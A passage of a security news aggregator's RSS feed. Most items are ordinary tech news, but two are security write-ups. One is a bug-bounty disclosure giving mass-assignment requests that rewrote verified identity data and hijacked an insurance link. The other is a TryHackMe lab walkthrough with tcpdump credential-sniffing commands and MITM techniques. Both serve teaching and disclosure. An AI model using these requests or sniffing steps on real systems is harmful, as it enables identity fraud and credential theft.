<guid isPermaLink="true">https://tsecurity.de/de/3651471/it-nachrichten/this-kind-of-work-blows-my-mind-an-apple-fan-saved-2200-by-manually-upgrading-their-macs-storage-but-admitted-the-process-was-really-hell/</guid>
<pubDate>Tue, 07 Jul 2026 14:18:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An Apple user manually upgraded their MacBook’s storage and saved $2,200 by doing so]]></content:encoded>
</item>
<item>
<title><![CDATA[Small AI Models Gain Traction Around the World]]></title>
<description><![CDATA[locater16 shares a report from IEEE Spectrum: One morning in 2019, Adebayo Alonge was in a Cape Town hotel room, preparing to demonstrate his startup's AI answer to a serious problem in African health care: counterfeit medication, which kills thousands of people across the continent every year. T...]]></description>
<link>https://tsecurity.de/de/3650073/it-security-nachrichten/small-ai-models-gain-traction-around-the-world/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650073/it-security-nachrichten/small-ai-models-gain-traction-around-the-world/</guid>
<pubDate>Tue, 07 Jul 2026 01:08:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[locater16 shares a report from IEEE Spectrum: One morning in 2019, Adebayo Alonge was in a Cape Town hotel room, preparing to demonstrate his startup's AI answer to a serious problem in African health care: counterfeit medication, which kills thousands of people across the continent every year. The RxScanner is a handheld spectrometer that scans a pill with infrared light, then sends the item's molecular profile to an AI model equipped with a pharmaceutical database. In seconds, the AI identifies the medication from its molecular profile -- or reports that it's phony.
 
Pharmacies were using the system in more than a dozen countries, including Ghana, Kenya, Myanmar, and Alonge's native Nigeria. But that morning in South Africa, it didn't work. "I was shocked," Alonge says... So Alonge immediately asked his engineers to shrink the AI model down to a smaller, low-power, unconnected version that could run entirely on his Android phone. They produced it 2 hours later, and that saved the demo. More importantly, the work birthed a new version of his device, which can authenticate a pill in places without broadband, computers, or even reliable electricity. It also turned Alonge into an advocate for this kind of "small AI." "The article goes on to detail other immediately useful 'small' AI applications without any subscription or billion dollar data centers needed," writes locator16. For example, Bala Murugan and colleagues at Vellore Institute of Technology in India developed a drone-based system that photographs cashew plants and identifies disease-indicating splotches on the plants. The key advantage is that all processing happens on the drone itself, so farmers do not need a computer, broadband connection, or cloud server access.
 
In a Uruguayan vineyard, researchers developed small-AI systems to identify ant infestations. The article doesn't go deep into the deployment details, but it presents this as another example of a narrow, localized model trained to recognize a specific agricultural threat. Small AI has also been used to detect the presence of malaria-carrying mosquitoes in multiple countries. This is especially useful in regions where public-health teams may lack reliable network access or expensive lab infrastructure, but still need fast, local detection.
 
In parts of Brazil without access to more complex medical equipment, researchers have used small AI to run electrocardiograms from an Arduino device. The article also describes Marcelo Jose Rovai's work on a TinyML model that generates electrocardiograms in a patient simulator lab. Rovai also describes a newer experiment using an Arduino UNO Q with a Qualcomm chipset. The device runs a language model locally, collects sensor data, and analyzes it to detect tiny pools of water where mosquitoes might breed -- while using only about 3 watts of power.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Small+AI+Models+Gain+Traction+Around+the+World%3A+https%3A%2F%2Fslashdot.org%2Fstory%2F26%2F07%2F06%2F221233%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fslashdot.org%2Fstory%2F26%2F07%2F06%2F221233%2Fsmall-ai-models-gain-traction-around-the-world%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://slashdot.org/story/26/07/06/221233/small-ai-models-gain-traction-around-the-world?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI isn’t closing the skills gap — it’s exposing the validation gap]]></title>
<description><![CDATA[If you wanted to become a basketball star, how would you get started? You wouldn’t read a book on basketball and take an online course. You’d set up a hoop in your driveway, join a local team to train, and play in real matches. So why do we expect cybersecurity professionals to learn their skills...]]></description>
<link>https://tsecurity.de/de/3648262/it-security-nachrichten/ai-isnt-closing-the-skills-gap-its-exposing-the-validation-gap/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648262/it-security-nachrichten/ai-isnt-closing-the-skills-gap-its-exposing-the-validation-gap/</guid>
<pubDate>Mon, 06 Jul 2026 11:10:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>If you wanted to become a basketball star, how would you get started? You wouldn’t read a book on basketball and take an online course. You’d set up a hoop in your driveway, join a local team to train, and play in real matches. So why do we expect cybersecurity professionals to learn their skills from theory and static training?</p>



<p>The cybersecurity industry talks constantly about the “skills gap.” The recent World Economic Forum’s <a href="https://www.weforum.org/publications/global-cybersecurity-outlook-2026/digest/">Global Cybersecurity Outlook report</a> revealed skills and budgets were significant blockers to achieving cyber resilience. However, I argue that we don’t have a skills gap; we have a <em>validation </em>gap.</p>



<p>The “skills gap” gets a lot of airtime in cybersecurity industry discourse, but what are we really talking about <a href="https://www.csoonline.com/article/4137580/7-factors-impacting-the-cyber-skills-gap.html">when we talk about a skills gap</a>? It’s not about staffing; how can we have both a skills gap<em> and</em> a graduate unemployment problem? “AI” is the lazy explanation (is there anything anyone hates more than hearing that their job could be replaced by AI?) But if AI really is the explanation, why are we still experiencing breaches and fixating on a supposed lack of skills in the cybersecurity workforce?</p>



<p>The reality is that we don’t yet fully trust AI with our most critical security concerns, and for good reason. Few people would dispute that there are serious production risks in relying on AI and most wouldn’t actually use it to replace an experienced security analyst. While comparatively fewer organizations have reported serious breaches of AI models or applications, many are favoring rapid-scale deployments of AI technologies over establishing robust governance structures. Data from IBM suggests that, of 600 organizations polled globally between March 2024 and February 2025, 13% reported breaches of AI models or applications. More worrisome, 8% had no idea whether or not they had been compromised, and 63% of breached organizations either lacked AI governance policies or were developing them at the time of the reported incident. Despite these risks — and the significant financial damage they can cause — only 49% of organizations planned to invest in additional security measures in 2025, compared to 63% in 2024.</p>



<p>You can’t hire or tool your way out of the skills gap. You have to build your way out. The industry keeps asking, “How do we close the cyber skills gap?” The better question is, how do we prove readiness before the fight begins? That is the real challenge emerging in cybersecurity today.</p>



<p>This is more challenging when we need skills and expertise that just don’t exist yet. AI poses new threats to combat, from the development of more insecure software to the exploitation of models to do things they weren’t designed for to attackers weaponizing AI for more efficient attacks. No one was preparing to respond to these threats five years ago, so these skills need to be developed in real time. Even the most advanced training programs cannot hope to match the pace and scale of the vulnerabilities posed by AI and the increasingly broad attack surface it presents to potential threat actors. Relying on outdated training modalities is practically an invitation to attackers seeking to compromise critical systems, yet many organizations <a href="https://www.csoonline.com/article/4108270/cybersecurity-skills-matter-more-than-headcount-in-the-ai-era.html?_hsmi=397380584">fail to recognize this as the systemic vulnerability</a> it is.</p>



<p>Traditional upskilling is flawed and wholly impractical for the present risk environment. Organizations are shelling out tens of thousands per employee on courses, certifications, and boot camps, but certifications simply cannot keep up with the pace of technological change and the evolution of attacker tactics and techniques. Security professionals need continuous hands-on experience that represents the actual attack surfaces of their organizations. How they apply their skills in real-world scenarios is a big part of what’s missing; even the most rigorous theoretical exercises cannot replicate the experience of combatting an intrusion event in real time or identify potential weaknesses in SOC response protocols.</p>



<p>Our industry has traditionally seen technology as the answer. More tools and more alerts feel like we’re getting somewhere, but all it really leads to is teams that are fatigued and burned out on noise. When the main source of breaches remains human failure, we’re not going to tip the scales unless we invest in the people on the front line. Dynamic cyber ranges are the difference between learning a skill in theory and learning it in context<em>.</em></p>



<p>A truly effective upskilling cyber range needs an AI Proving Ground, with a high degree of customization and fidelity, as well as in-depth post-exercise analysis, to nurture and retain effective talent with the skills and experience to combat increasingly sophisticated threats.</p>



<ul class="wp-block-list">
<li><strong>High degree of customization. </strong>Replicate your real production environment and tech stack and introduce panic-inducing live-fire exercises. This gives employees invaluable insight into how they’ll react in a real-life scenario. Does everyone have the right context and information to make quick decisions that will protect the business? Replicating a real production environment also allows for testing integration flows between security and IT tools to validate how they work together.</li>



<li><strong>Post-exercise analysis.</strong> It’s not enough to run tests if you can’t analyze the outcomes to make improvements. This data is also particularly useful as execs are pushing for tech consolidation by proving the need to retain budget or secure additional resources for tools and features. Cyber ranges can also make detailed recommendations based on best practices and support and identify specific business cases for additional investment.</li>



<li><strong>Nurture talent.</strong> How do you take a tier 1 SOC analyst and turn them into a tier 3? While AI might be able to perform the role of a junior analyst, you need a pipeline of talent to become that high-performing individual who could be the difference between spotting an unusual indicator of compromise or allowing an attacker to gain further access into critical systems. It’s faster and more cost-effective to teach someone over time than hunt out the top performer to hire into the organization. Nurturing and investing in existing talent also becomes a <a href="https://www.csoonline.com/article/4117799/skills-cisos-need-to-master-in-2026.html">significant competitive advantage over time</a>.</li>
</ul>



<p>For overstretched teams, on-the-job training might feel onerous, but the benefits are considerable. You really can see 10X returns on your investment. Some of our customers have saved upward of $400,000 in training expenses and made their organizations significantly more resilient to novel threats. The key is to not see practical, hands-on training as an annual event or one-off investment, but to employ a continuous platform that accurately reflects the risks faced by your organization and becomes part of your operating model and broader security culture.</p>



<p>I don’t know about you, but working in a team environment feels far more rewarding than studying in a classroom environment. Retain your top talent by validating their skills and allowing them to add to their resumes in a way that feels natural and instinctive.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mass Assignment and the Identity Drift: From Profile Edit to Insurance Takeover]]></title>
<description><![CDATA[No customer support call. No re-verification.Yet the name changes. The date of birth changes. The government ID number changes. But the eKYC status remains verified and every system that relies on that identity continue trusting the account as if nothing happened.Mass Assignment happens when an a...]]></description>
<link>https://tsecurity.de/de/3647965/hacking/mass-assignment-and-the-identity-drift-from-profile-edit-to-insurance-takeover/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3647965/hacking/mass-assignment-and-the-identity-drift-from-profile-edit-to-insurance-takeover/</guid>
<pubDate>Mon, 06 Jul 2026 08:52:59 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rxetdK2Ww9DfrKGHBtnmmA.png"></figure><blockquote>No customer support call. No re-verification.</blockquote><blockquote>Yet the name changes. The date of birth changes. The government ID number changes. But the eKYC status remains verified and every system that relies on that identity continue trusting the account as if nothing happened.</blockquote><p>Mass Assignment happens when an application takes fields from a user-controlled request and applies them to an internal object without checking which fields are allowed to change.</p><p>A simple version looks like this:</p><pre>{<br>"name": "Researcher",<br>"is_admin": true<br>}</pre><p>The developer may have intended to update only the name. But if the backend assigns every submitted field into the user object, the extra is_admin value may be written too.</p><p>The important part is not the admin flag. The important part is the missing field-level decision. The server should ask “this user is allowed to update this object, but are they allowed to update this field?”</p><p>That question matters because one object can contain fields with very different levels of trust. A profile object can contain a nickname, height, weight, legal name, birthdate, government ID number, verification status, and insurance metadata. They may sit next to each other in JSON, but they do not mean the same thing.</p><p>Well, most people first meet Mass Assignment through the admin flag example. A request is supposed to update a name. The attacker adds is_admin. The backend saves it. The user becomes an admin. That example is useful because it is easy to remember. It is also cleaner than most real findings.</p><p>This one started in a quieter place: an edit profile endpoint.</p><p>Changing a first name is normal.</p><p>Changing a verified government ID number is not.</p><p>Changing identity itself after verification is definitely not.</p><p>Once an account has passed eKYC, attributes such as name, date of birth, gender, and government-issued identification become part of the trust model. They are no longer profile preferences. <strong>They are identity claims.</strong></p><p>If those claims can be rewritten while the verification status remains intact, the problem is no longer profile editing. <em>It becomes identity drift.</em></p><p>This writeup is about that chain: Mass Assignment, identity drift, and a second-order insurance impact.</p><h3>The Profile</h3><p>The target was a platform with web and mobile applications. It stored user profile data, supported verified identity, and allowed users to link a third-party insurance or benefit record to their account.</p><p>The profile had ordinary fields and sensitive identity fields. From the normal application flow, some of these fields were restricted after we completed the eKYC verification . If a user wanted to change them, the expected path was customer support or another verification process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*wM7B5ASk1RXDrgR15g2J1g.png"></figure><p>That business rule made sense. Once a field is used to represent identity, changing it should require more care than changing a preference.</p><p>The frontend understood this. The sensitive fields were not exposed as normal editable fields.</p><p>The backend did not enforce the same boundary.</p><h3>The Request</h3><p>The only attribute that could be edited directly through this flow was the phone number.</p><p>In simplified form, the request generated by the application looked like this:</p><pre>PUT /api/v1/profile/{user_id}/phone HTTP/2<br>Host: api.[REDACTED]<br>Cookie: [REDACTED]<br>Content-Type: application/json<br><br>{<br>  "phone_number": "+628123456789"<br>}</pre><p>The user was authenticated. The profile belonged to the user. The endpoint was meant to update a phone number and nothing more.</p><p>The test was simple: add fields the UI did not send in this flow.</p><pre>PUT /api/v1/profile/{user_id}/phone HTTP/2<br>Host: api.[REDACTED]<br>Cookie: [REDACTED]<br>Content-Type: application/json<br><br>{<br>  "phone_number": "+628123456789",<br>  "first_name": "EditedFirstName",<br>  "last_name": "EditedLastName",<br>  "date_of_birth": "1990-01-01",<br>  "id_number": "0000000000000000",<br>  "nationality": "Indonesia"<br>}</pre><p>The server returned success.</p><p>That was interesting, but it was not enough.</p><p>With Mass Assignment testing, 200 OK is only a signal. Some APIs accept a body, return success, and silently drop fields they do not want to save. If the value does not persist, the finding is much weaker.</p><p>So I read the profile back from the application.</p><p><strong>It confirmed. The sensitive fields had changed.</strong></p><p>The legal name changed. The birthdate changed. The gender changed. The government ID number changed. The secondary registry identifier changed.</p><p><strong>And the account still appeared verified.</strong></p><p>That combination is what made the finding important. The issue was not just that a user could edit their own profile. The issue was that a user could rewrite identity fields while keeping the trusted state attached to the account.</p><h3>Identity Drift</h3><p>The account was not stolen. The attacker did not access another user’s session. The object being edited still belonged to the current user.</p><p>But the identity attached to that object could move.</p><p>If a user can change legal name, birthdate, gender, government ID number, and registry identifiers without re-verification, the stored person can stop matching the person the platform originally verified.</p><p><em>That is a different kind of impersonation.</em></p><p>It is not impersonation by logging into the victim’s account. It is impersonation by rewriting the attacker’s own trusted profile until the platform’s records point to <strong>someone else.</strong></p><p>If an attacker knows enough identity attributes for a real person, the attacker-controlled account can be made to look like that person while still carrying a verified state.</p><h3>The Second Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lxObochqsnomI0kn2IBjZw.png"></figure><p>The platform also allowed users to link an insurance or benefit record to their profile.</p><p>That flow relied on information from two places:</p><ul><li>data supplied during the linking request, such as member or policy details</li><li>identity data already stored in the profile, rely only on the date of birth</li></ul><p>This kind of matching is actually common. A platform needs some way to decide whether an insurance or benefit record belongs to the current user.</p><p>The problem was not the comparison itself. The problem was what the comparison trusted. The date of birth was coming from a profile field that users could modify through the Mass Assignment vulnerability.</p><p>If the profile is verified and immutable, comparing against it has value. If the profile can be changed seconds before the comparison, the check becomes much weaker.</p><p>The Mass Assignment bug changed what the insurance flow was really asking. It was no longer only asking whether the insurance record matched the originally verified person. It was also asking whether the record matched the current profile values. Those values were attacker-controlled.</p><h3>The Chain</h3><p>The chain was straightforward.</p><p>First, use an attacker-controlled account.</p><p>Second, change the profile identity through the Mass Assignment bug. For the insurance path, date of birth was the useful field because it was part of the matching logic.</p><pre>PUT /api/v1/profile/{attacker_user_id} HTTP/2<br>Host: api.[REDACTED]<br>Cookie: [REDACTED]<br>Content-Type: application/json<br><br>{<br>"date_of_birth": "[TARGET_DOB]"<br>}</pre><p>Third, submit the linking request with the target insurance or benefit data.</p><pre>PUT /api/v1/benefits/link/{provider_id} HTTP/2<br>Host: api.[REDACTED]<br>Cookie: [REDACTED]<br>Content-Type: application/json<br><br>{<br>"member_id": "[TARGET_MEMBER_ID]",<br>"date_of_birth": "[TARGET_DOB]"<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*VpwKOtL-15Eg12J8TN-MuA.png"></figure><p><strong>The insurance record successfully linked to the attacker-controlled account.</strong></p><p>That is where the second impact appeared. The first impact was verified identity mutation. The second impact was downstream financial access.</p><p>The vulnerable endpoint looked like profile editing. The risk lived in what trusted that profile later.</p><h3>Re-Evaluation</h3><p>There is a common misunderstanding around self-profile bugs: if the user is editing their own account, the impact must be low. That is not always true.</p><p>The better question is: “what do the edited fields prove elsewhere?”</p><p>If the field is a first name before verification process, the answer may be nothing important.</p><p>If the field is a birthdate used for eligibility or matching, the answer changes.</p><p>If the field is a government ID number used for identity verification, the answer changes again.</p><p>If the account keeps its verified status after those values change, the impact changes even more.</p><p>In this case, the platform’s own product flow showed that these fields were sensitive. The user was not supposed to change them freely through the normal interface. Customer support or re-verification was the intended path.</p><p>The API bypassed that path, and another workflow trusted the result.</p><p>That is what made the finding more than “I can edit my profile.” It became “I can rewrite identity fields on a trusted account, then let another workflow trust the rewritten identity.”</p><h3>Remediation</h3><p>The fix is server-side field allowlisting.</p><p>Each update flow should define exactly which fields it is allowed to modify. A normal profile update endpoint should update only normal profile fields. Sensitive identity fields should not be writable just because they appear in the request body.</p><p>A safer model separates the data by trust level:</p><ul><li>ordinary profile fields that users can edit directly</li><li>sensitive identity fields that require support or re-verification</li><li>verification records that preserve what was checked and when</li><li>insurance or benefit-linking data that must be matched against trusted records</li></ul><p>The frontend can make the experience clearer, but it cannot be the control. Hidden fields, disabled inputs, and missing buttons do not protect an API.</p><p>The linking flow also needs to trust the right source. If birthdate is part of the matching logic, it should come from a record the user cannot freely rewrite immediately before linking the policy. If identity changes are allowed after verification, dependent insurance or benefit links should be reviewed, invalidated, or rechecked.</p><blockquote><strong>do not treat a profile value as proof unless the system also protects how that value is created and changed.</strong></blockquote><p>Mass Assignment is easy to underestimate when the request only changes fields on non impactful fields. But the real question is not only who owns the object. The real question is what authority each field carries after it is saved.</p><p>A birthdate can become an eligibility check. A government ID number can become identity evidence. A legal name can become a payout or policy-matching input. When those fields move without re-verification, every workflow that trusts them moves with them.</p><p>In this case, identity moved first.</p><p>Insurance followed.</p><p>That was the bug.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=5eb2be4c1f8e" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/mass-assignment-and-the-identity-drift-from-profile-edit-to-insurance-takeover-5eb2be4c1f8e">Mass Assignment and the Identity Drift: From Profile Edit to Insurance Takeover</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Keurig saved — and ruined — your coffee]]></title>
<description><![CDATA[Before Keurig, the coffee in your office was almost certainly terrible. Old, burned, made by someone who would rather poorly eyeball than properly measure. Just altogether gross. After Keurig? You could make your own coffee, a cup at a time, exactly when you needed it. The single-cup brewer was a...]]></description>
<link>https://tsecurity.de/de/3646816/it-nachrichten/how-keurig-saved-and-ruined-your-coffee/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646816/it-nachrichten/how-keurig-saved-and-ruined-your-coffee/</guid>
<pubDate>Sun, 05 Jul 2026 16:02:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Before Keurig, the coffee in your office was almost certainly terrible. Old, burned, made by someone who would rather poorly eyeball than properly measure. Just altogether gross. After Keurig? You could make your own coffee, a cup at a time, exactly when you needed it. The single-cup brewer was an elegant solution to an extremely […]]]></content:encoded>
</item>
<item>
<title><![CDATA[‘I’ll struggle to play in handheld mode without it now’: This Switch 2 grip case has saved me from neck pain — and it might save your console from damage, too]]></title>
<description><![CDATA[The Genki Attack Vector offers protection for your console and comfort in handheld mode — but is it worth its asking price?]]></description>
<link>https://tsecurity.de/de/3646630/it-nachrichten/ill-struggle-to-play-in-handheld-mode-without-it-now-this-switch-2-grip-case-has-saved-me-from-neck-pain-and-it-might-save-your-console-from-damage-too/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646630/it-nachrichten/ill-struggle-to-play-in-handheld-mode-without-it-now-this-switch-2-grip-case-has-saved-me-from-neck-pain-and-it-might-save-your-console-from-damage-too/</guid>
<pubDate>Sun, 05 Jul 2026 13:17:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Genki Attack Vector offers protection for your console and comfort in handheld mode — but is it worth its asking price?]]></content:encoded>
</item>
<item>
<title><![CDATA[Protocols and Servers 2 TryHackMe Writeup]]></title>
<description><![CDATA[Somewhere on a network right now, a username and password are crossing the wire in plain, readable text — and someone could be quietly reading them.No exploit. No zero-day. Just a protocol that was never built to keep a secret.That’s the uncomfortable little truth this room is built around. So le...]]></description>
<link>https://tsecurity.de/de/3646317/hacking/protocols-and-servers-2-tryhackme-writeup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646317/hacking/protocols-and-servers-2-tryhackme-writeup/</guid>
<pubDate>Sun, 05 Jul 2026 08:39:11 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>Somewhere on a network right now, a username and password are crossing the wire in plain, readable text — and someone could be quietly reading them.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*7OqFQcrh6OcgOZyqGjAyqw.png"></figure><p>No exploit. No zero-day. Just a protocol that was never built to keep a secret.</p><p>That’s the uncomfortable little truth this room is built around. So let’s pull it apart.</p><p>Most of the internet’s classic protocols were designed in a more trusting era. It was a time when the people sharing a network mostly knew each other, and “someone might be listening” wasn’t the default assumption.</p><p>Those protocols still run everywhere. And many of them still send your credentials across the wire in plain text.</p><p><strong>Protocols and Servers 2</strong> on TryHackMe is about exactly that gap, and what closes it. It walks through three foundational attacks against network protocols, then the defenses that neutralize each one:</p><ul><li>Sniffing — quietly reading traffic off the wire</li><li>Man-in-the-Middle (MITM) — sitting between two parties and tampering</li><li>Password attacks — guessing or cracking the credentials themselves</li></ul><p>This is a writeup of the whole room: the concepts in plain language, the commands that matter, and the task answers explained. If you’re working through it yourself, follow along.</p><blockquote>One idea ties the entire room together: cleartext protocols are insecure by design. Everything else is a consequence of that single fact.</blockquote><h3>Part 1 — Sniffing Attacks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*mxa7u-z6cA7UEL5f8tjJQg.png"></figure><p>A <strong>sniffing attack</strong> is the simplest idea in the room: use a packet-capture tool to grab traffic as it crosses the network, then read it.</p><p>If a protocol talks in cleartext, anyone positioned to see that traffic can pull out private messages or login credentials. Nothing is encrypted before it leaves your machine.</p><pre>"Isn't everything encrypted now?"</pre><p>It’s tempting to think sniffing is a solved, retro problem now that TLS is everywhere. It isn’t. It stays dangerous wherever cleartext still lives:</p><ul><li><strong>Internal corporate networks</strong>, where machine-to-machine traffic is often left unencrypted</li><li><strong>Legacy systems </strong>like old mail servers, embedded devices, and industrial control systems</li><li><strong>Misconfigured services</strong> where TLS is available but not strictly enforced</li><li><strong>IoT devices</strong> that habitually use plain protocols</li><li><strong>Wireless networks</strong>, where anyone in range can listen</li><li>After a MITM attack that has successfully downgraded or stripped encryption</li></ul><blockquote>In real internal pentests and red-team work, sniffing is still one of the most reliable ways to harvest credentials and learn how systems actually talk to each other.</blockquote><h3>The tools</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xBxcZK8PVBApVtltOosP4Q.jpeg"><figcaption>Wireshark</figcaption></figure><p>Capturing packets needs a network card and the right privileges (root on Linux, administrator on Windows). Here are the staples:</p><ul><li><strong>tcpdump</strong> — lightweight open-source CLI capture tool, preinstalled on most Linux systems.</li><li><strong>Wireshark</strong> — the GUI standard, with powerful filtering, protocol dissection, and visualization.</li><li><strong>tshark</strong> — Wireshark’s command-line sibling, great for scripting.</li></ul><blockquote>Worth knowing too: <strong>tcpflow</strong> (reassembles TCP streams), <strong>ngrep</strong> (pattern-matching in traffic), and <strong>NetworkMiner</strong> (extracts files from captures).</blockquote><blockquote>Specialized credential-grabbers exist, but tcpdump and Wireshark can do the job with a little effort.</blockquote><h3>Capturing POP3 credentials with tcpdump</h3><p>The classic demo: a user checks email over POP3 (port 110, cleartext).</p><p>With access to the traffic — via a wiretap, a switch’s port mirroring, ARP spoofing, a compromised host, or a successful MITM — you run this command:</p><pre>sudo tcpdump port 110 -A</pre><p>Breaking that down:</p><ul><li>sudo — packet capture needs root privileges.</li><li>port 110 — only keep traffic to or from the POP3 server.</li><li>-A — print packet contents as ASCII, so cleartext is human-readable.</li></ul><p>In the capture, the login arrives across two packets and reads straight out:</p><pre>… USER frank … PASS D2xc9CgD</pre><p>Username frank, password D2xc9CgD, handed over in plain sight.</p><blockquote>Wireshark gets you there even faster: type “pop” in the display filter, and only POP3 traffic remains, credentials included.</blockquote><h4>Handy tcpdump filters</h4><pre>+------------------------------------+-----------------------------------------------------------+<br>| Command                            | Purpose                                                   |<br>+------------------------------------+-----------------------------------------------------------+<br>| sudo tcpdump port 110 -A           | Capture traffic on port 110 (POP3) in readable ASCII      |<br>| sudo tcpdump host 10.20.30.148 -A  | Capture ASCII traffic to/from a specific host IP          |<br>| sudo tcpdump port 80 -A            | Capture HTTP traffic (credentials in POST data)           |<br>| sudo tcpdump port 21 -A            | Capture FTP traffic (cleartext credentials)               |<br>| sudo tcpdump -w capture.pcap       | Save raw network packets to a file for later analysis     |<br>| tcpdump -r capture.pcap -A         | Read and display a saved capture file in ASCII text       |<br>+------------------------------------+-----------------------------------------------------------+</pre><h4>Mitigation</h4><p>Any cleartext protocol is exposed. The only requirement for the attack is a vantage point between the two parties or on the same network segment.</p><p>The core fix is encryption. This means wrapping the protocol in TLS (like HTTP to HTTPS, FTP to FTPS, or POP3 to POP3S) and replacing Telnet with SSH.</p><p>Layered on top of that:</p><ul><li>Network segmentation to limit who can see whose traffic</li><li>Encrypted VLANs or tunnels for sensitive internal traffic</li><li>802.1X port-based authentication so unknown devices can’t connect</li><li>Zero-trust thinking: treat every network as hostile and encrypt everything</li><li>Monitoring for ARP spoofing and other redirection to catch sniffing in progress</li></ul><p>Question: How do you capture only Telnet traffic with tcpdump? Answer: Telnet runs on port 23, so you add “port 23”.</p><p>Question: What is the simplest Wireshark display filter for IMAP? Answer: “imap”.</p><h3>Part 2 — Man-in-the-Middle (MITM) Attacks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*uImWCNSpEizR46XoZzoc7g.png"><figcaption>Man-in-the-Middle Attack</figcaption></figure><p>Sniffing is passive listening. A <strong>MITM attack</strong> is active.</p><p>The attacker slips between two parties (A and B) so that A thinks it’s talking to B, while everything actually flows through the attacker. They can read and completely alter the data.</p><p>The room’s example says it best: A asks to transfer $20, the attacker rewrites the amount mid-flight, and B acts on the tampered message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C0zge6WQ4_HZjbPjnt1i0g.png"><figcaption>Image 1 from the room</figcaption></figure><p>It works whenever the protocol doesn’t verify the authenticity and integrity of each message.</p><h4>Getting into the middle</h4><p>To sit between two parties, an attacker has to redirect traffic through their own machine. Common routes include:</p><ul><li><strong>ARP spoofing</strong> — on a local network, the attacker sends forged ARP messages tying their own MAC address to the gateway’s IP, routing traffic directly to them.</li><li><strong>DNS spoofing </strong>— feeding false DNS answers to send victims to attacker-controlled servers.</li><li><strong>Rogue access points </strong>— fake Wi-Fi setups (like “Airport_WiFi_Free”) that route every connected victim’s traffic through the attacker.</li><li><strong>BGP hijacking </strong>— announcing false routes at the internet’s routing layer to reroute traffic for whole organizations or regions.</li></ul><h4>The tooling</h4><ul><li><strong>Bettercap </strong>— the modern, actively maintained successor to Ettercap. Handles ARP/DNS spoofing, HTTP/HTTPS proxying, and is modular.</li><li><strong>Ettercap</strong> — the classic LAN MITM tool. It still works, but Bettercap is generally preferred today.</li><li><strong>mitmproxy </strong>— an interactive HTTPS proxy used for inspecting and modifying web traffic on the fly.</li><li><strong>Responder </strong>—<strong> </strong>Windows-focused<strong>.</strong> Abuses fallback name-resolution protocols (LLMNR, NBT-NS) that kick in when DNS fails, answering with its own IP to capture authentication hashes. A staple of internal Active Directory pentests.</li></ul><h4>MITM against encrypted traffic</h4><p>Encryption raises the bar, but it isn’t a magic shield:</p><ul><li><strong>SSL stripping</strong> — quietly downgrade the victim’s connection to plain HTTP while the attacker keeps an HTTPS link to the real server. This is easy to miss if the user never typed <em>“https://”</em> or didn’t check for the padlock icon.</li><li><strong>Fake certificates</strong> — present your own certificate and run two separate encrypted legs. This works if the victim blindly clicks through the browser warning or if a Certificate Authority is compromised.</li><li><strong>Compromised or rogue CAs </strong>— the most serious case. If an attacker controls a trusted CA, they can mint valid-looking certificates for absolutely any domain.</li></ul><h4>Modern defenses</h4><p>A decade of security hardening makes MITM much harder now:</p><ul><li><strong>HTTPS by default</strong> (browsers flag plain HTTP as “Not Secure”)</li><li><strong>HSTS</strong> (forces HTTPS and blocks stripping attacks)</li><li><strong>Certificate Transparency</strong> (public, auditable logs of all issued certificates)</li><li><strong>Certificate pinning</strong> (apps accept only specific, hardcoded keys)</li><li><strong>DANE</strong> (publishing certificate info in DNSSEC-signed DNS)</li></ul><p>MITM still succeeds when users ignore certificate warnings, apps validate keys poorly, the target speaks cleartext, or legacy gear lacks modern features.</p><p>The fundamental fix remains the same: cryptography. You need authentication plus encryption/signing, which is exactly what properly implemented TLS 